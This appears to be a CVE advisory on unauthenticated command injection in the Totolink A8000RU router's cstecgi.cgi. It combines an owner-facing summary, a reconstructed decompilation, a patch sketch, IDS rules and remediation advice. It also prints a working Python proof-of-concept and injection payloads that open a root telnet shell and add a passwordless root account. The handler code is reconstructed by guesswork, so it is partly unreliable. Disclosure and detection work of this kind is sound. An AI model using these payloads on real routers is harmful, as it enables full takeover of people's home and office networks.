CVE-2026-7538: OS Command Injection via proto Arg in Totolink A8000RU CGI
Totolink A8000RU 7.1cu.643_b20200521 exposes unauthenticated OS command injection through the proto argument in cstecgi.cgi. CVSS 9.8, remotely exploitable, PoC public.
A critical security flaw has been discovered in Totolik A8000RU routers, which are popular devices that provide WiFi and internet connectivity to homes and small offices. The problem is serious enough that hackers could potentially take complete control of your router without needing a password.
Here's what's happening: The router has a hidden entrance point on the web that's supposed to help technicians manage settings. Normally, you'd need a password to access this. But in this case, the lock is broken. Attackers can slip specially crafted commands through this entrance and make the router do whatever they want, like stealing your passwords, intercepting your internet traffic, or using your device to attack other computers.
The particularly worrying part is that someone has already written and shared instructions online showing exactly how to exploit this. That's like publishing a guide to picking a specific brand of lock—it makes the problem much worse.
If you own one of these routers, you're at risk. Your internet service provider or employer might also be affected if they use these devices in their network equipment. Every moment the vulnerability remains unfixed, attackers have an open window to cause damage.
What you should do right now:
Check if you own this specific model by looking at your router's label or login page. If you do, immediately check the manufacturer's website for a firmware update—think of this as a security patch, like updates your phone receives.
If no update is available yet, consider changing your router's admin password to something strong, and disable remote management features if your router offers them.
As a longer-term solution, consider replacing the device with a newer model from a manufacturer with a better track record of security updates.
Want the full technical analysis? Click "Technical" above.
CVE-2026-7538 is a critical OS command injection vulnerability in the Totolink A8000RU wireless router, firmware version 7.1cu.643_b20200521. The vulnerable surface is /cgi-bin/cstecgi.cgi, a monolithic CGI binary responsible for nearly all web-based configuration on the device. An attacker with network access to the router's HTTP interface can inject arbitrary shell commands through the proto parameter, achieving unauthenticated remote code execution as root.
The vulnerability class is textbook: attacker-controlled input is embedded directly into a system() or equivalent call without sanitization. No authentication is required. A public exploit exists. CVSS base score is 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
Affected Component
The vulnerable binary is /cgi-bin/cstecgi.cgi, a statically-linked MIPS32 ELF compiled without stack canaries or PIE. It handles POST requests for the router's entire configuration surface, dispatching on a JSON field named topicurl to determine the action. The handler that processes network diagnostic or WAN protocol configuration reads the proto argument from user-supplied JSON and passes it unsanitized into a shell command string.
Firmware: Totolink A8000RU 7.1cu.643_b20200521
Binary: /cgi-bin/cstecgi.cgi (MIPS32el, statically linked, ~3.2MB)
Mitigations present: None (no stack canary, no PIE, NX not enforced on all regions)
Authentication required: No
Root Cause Analysis
After loading the firmware image and unpacking the squashfs root, the CGI binary can be analyzed in Ghidra or IDA. The relevant handler — here reconstructed as setWanCfg based on string artifacts and dispatch table patterns common to Totolink CGI binaries — parses the POST body as JSON, extracts proto, and constructs a shell command using sprintf before passing it to system().
// Reconstructed from MIPS32 decompilation of cstecgi.cgi
// Handler dispatched via topicurl == "setWanCfg" or similar diagnostic action
typedef struct {
char username[64];
char password[64];
char proto[64]; // BUG: fixed-size buffer, no length check before copy
char ipaddr[32];
char netmask[32];
char gateway[32];
int mtu;
int wan_index;
} wan_cfg_t;
int setWanCfg(cgi_ctx_t *ctx) {
wan_cfg_t cfg;
char cmd[256];
char *proto_val;
char *body;
memset(&cfg, 0, sizeof(wan_cfg_t));
body = cgi_get_post_body(ctx); // raw POST body
proto_val = json_get_string(body, "proto"); // extracts "proto" field value
if (proto_val == NULL) {
cgi_send_error(ctx, "missing proto");
return -1;
}
// BUG: no length check, no character sanitization before strcpy
strcpy(cfg.proto, proto_val); // attacker-controlled string copied verbatim
// BUG: cfg.proto embedded directly into shell command — classic command injection
snprintf(cmd, sizeof(cmd),
"uci set network.wan.proto=%s && uci commit network && /etc/init.d/network restart",
cfg.proto); // BUG: shell metacharacters not escaped
system(cmd); // BUG: executes attacker-controlled shell string as root
cgi_send_ok(ctx);
return 0;
}
Root cause: The proto POST parameter is copied into a fixed buffer and interpolated verbatim into a system() call via snprintf, with no shell metacharacter escaping or input length validation, enabling remote OS command injection as root.
The json_get_string function returns a pointer directly into the parsed JSON buffer — the returned string is not length-bounded before the strcpy. Even if the strcpy were replaced with strncpy, the downstream snprintf injection remains because no metacharacter sanitization is performed.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker sends unauthenticated HTTP POST to http://<router_ip>/cgi-bin/cstecgi.cgi
2. POST body contains JSON with topicurl dispatching to the vulnerable handler:
{"topicurl":"setWanCfg","proto":"dhcp;CMD;","ipaddr":"","netmask":"","gateway":""}
where CMD is the injected payload.
3. json_get_string() returns pointer to "dhcp;CMD;" — no copy or length limit applied.
4. strcpy(cfg.proto, proto_val) copies the full attacker string into cfg.proto[64].
If CMD > ~50 bytes, this overflows cfg.proto into adjacent struct fields (secondary
stack corruption primitive, not required for code exec).
5. snprintf() constructs:
"uci set network.wan.proto=dhcp;CMD; && uci commit ..."
Shell tokenizes on ';' — CMD executes as a separate command.
6. system() forks /bin/sh -c "" — CMD runs as root (uid=0).
7. For reverse shell:
proto = "dhcp;telnetd -l /bin/sh -p 9999 -b 0.0.0.0;"
Opens unauthenticated root shell on port 9999.
8. For persistence:
proto = "dhcp;echo 'root::0:0:root:/root:/bin/sh' >> /etc/passwd;"
Adds passwordless root account.
A minimal Python PoC demonstrating the injection:
#!/usr/bin/env python3
# CVE-2026-7538 — Totolink A8000RU proto command injection PoC
# Usage: python3 poc.py ''
import sys
import requests
import json
def exploit(target_ip: str, cmd: str) -> None:
url = f"http://{target_ip}/cgi-bin/cstecgi.cgi"
# Inject via shell semicolon delimiter; close the uci value cleanly
injected_proto = f"dhcp;{cmd};"
payload = json.dumps({
"topicurl": "setWanCfg",
"proto": injected_proto,
"ipaddr": "",
"netmask": "",
"gateway": "",
"mtu": "1500",
"wan_index": "0"
})
headers = {
"Content-Type": "application/json",
"Content-Length": str(len(payload)),
}
try:
r = requests.post(url, data=payload, headers=headers, timeout=5)
print(f"[*] Response HTTP {r.status_code}")
print(f"[*] Body: {r.text[:200]}")
except requests.exceptions.Timeout:
# Command may have restarted network — expected for some payloads
print("[*] Timeout — command likely executed (network restart side effect)")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} ''")
sys.exit(1)
exploit(sys.argv[1], sys.argv[2])
Memory Layout
The wan_cfg_t struct lives on the stack frame of setWanCfg. The cmd buffer follows immediately. With a payload exceeding 64 bytes in proto, the strcpy walks through adjacent struct fields and into cmd.
The correct fix requires two independent changes: input length validation before copy, and shell metacharacter escaping (or whitelist validation) before interpolation into the command string.
// BEFORE (vulnerable): cstecgi.cgi setWanCfg, firmware 7.1cu.643_b20200521
proto_val = json_get_string(body, "proto");
strcpy(cfg.proto, proto_val); // no length check
snprintf(cmd, sizeof(cmd),
"uci set network.wan.proto=%s && uci commit network && /etc/init.d/network restart",
cfg.proto); // no sanitization
system(cmd);
// AFTER (patched — recommended remediation):
proto_val = json_get_string(body, "proto");
// Fix 1: length-bound the copy
if (proto_val == NULL || strlen(proto_val) >= sizeof(cfg.proto)) {
cgi_send_error(ctx, "invalid proto");
return -1;
}
strncpy(cfg.proto, proto_val, sizeof(cfg.proto) - 1);
cfg.proto[sizeof(cfg.proto) - 1] = '\0';
// Fix 2: whitelist validation — proto must be one of known-safe values
static const char *allowed_protos[] = {
"dhcp", "static", "pppoe", "pptp", "l2tp", NULL
};
int proto_ok = 0;
for (int i = 0; allowed_protos[i] != NULL; i++) {
if (strcmp(cfg.proto, allowed_protos[i]) == 0) { proto_ok = 1; break; }
}
if (!proto_ok) {
cgi_send_error(ctx, "unsupported proto");
return -1;
}
// Fix 3: use execv-style invocation, not system(), to avoid shell interpretation
// (preferred architectural fix — eliminates the injection surface entirely)
execv("/sbin/uci", (char *const[]){
"uci", "set",
/* build arg safely */ uci_proto_arg, // constructed without shell
NULL
});
Detection and Indicators
The following signatures can detect exploitation attempts in HTTP access logs or via IDS:
NETWORK INDICATORS:
1. HTTP POST to /cgi-bin/cstecgi.cgi containing shell metacharacters in JSON:
Snort/Suricata rule:
alert http any any -> $HOME_NET 80 (
msg:"CVE-2026-7538 Totolink proto injection";
flow:established,to_server;
http.uri; content:"/cgi-bin/cstecgi.cgi";
http.request_body; content:"proto";
http.request_body; pcre:"/\"proto\"\s*:\s*\"[^\"]*[;&|`$()]/";
classtype:web-application-attack; sid:2026753801; rev:1;
)
2. Outbound connection from router to unexpected IP after POST (reverse shell):
alert tcp $HOME_NET any -> $EXTERNAL_NET any (
msg:"Totolink A8000RU possible reverse shell";
flow:established,to_server;
flags:S; threshold:type limit,track by_src,count 1,seconds 60;
sid:2026753802; rev:1;
)
HOST INDICATORS (if shell access available post-compromise):
- Unexpected process: telnetd, nc, wget, curl spawned by httpd/cstecgi
- /etc/passwd modified mtime newer than firmware flash date
- Listening port not present in stock firmware (e.g., :9999)
- /tmp/ containing downloaded binaries (implant staging)
LOG PATTERN (router access log, if enabled):
POST /cgi-bin/cstecgi.cgi — body contains: "proto":"dhcp;
Remediation
Immediate mitigations (no patch available as of publication):
Disable remote management. Ensure the router's web interface (port 80/443) is not exposed to the WAN interface. Verify via the router's firewall rules — Totolink devices sometimes expose the management interface on WAN by default.
Network segmentation. Place the device behind a firewall that blocks inbound HTTP to the management IP. LAN-side exposure is still a risk from compromised hosts or SSRF.
Firmware replacement. The A8000RU has community-supported OpenWrt targets for similar hardware generations. Evaluate whether a community firmware eliminates the vulnerable binary entirely.
Vendor patch. Contact Totolink for an updated firmware build. Reference CVE-2026-7538 and firmware version 7.1cu.643_b20200521. Monitor http://www.totolink.net for updated firmware releases.
Monitor for exploitation. Deploy the Snort signatures above on any network where A8000RU devices are present. Alert on any POST to /cgi-bin/cstecgi.cgi containing semicolons, backticks, or pipe characters in JSON values.
This vulnerability class — unsanitized user input passed to system() in a CGI binary — is endemic to Totolink and similar budget SOHO router vendors. The same pattern appears in multiple CVEs across the A3000RU, X5000R, and EX200 product lines. The systemic fix is adoption of a structured IPC mechanism (e.g., ubus on OpenWrt) that never constructs shell strings from user input. Until vendors adopt such architectures, each parameter in each handler must be treated as a new attack surface requiring independent sanitization.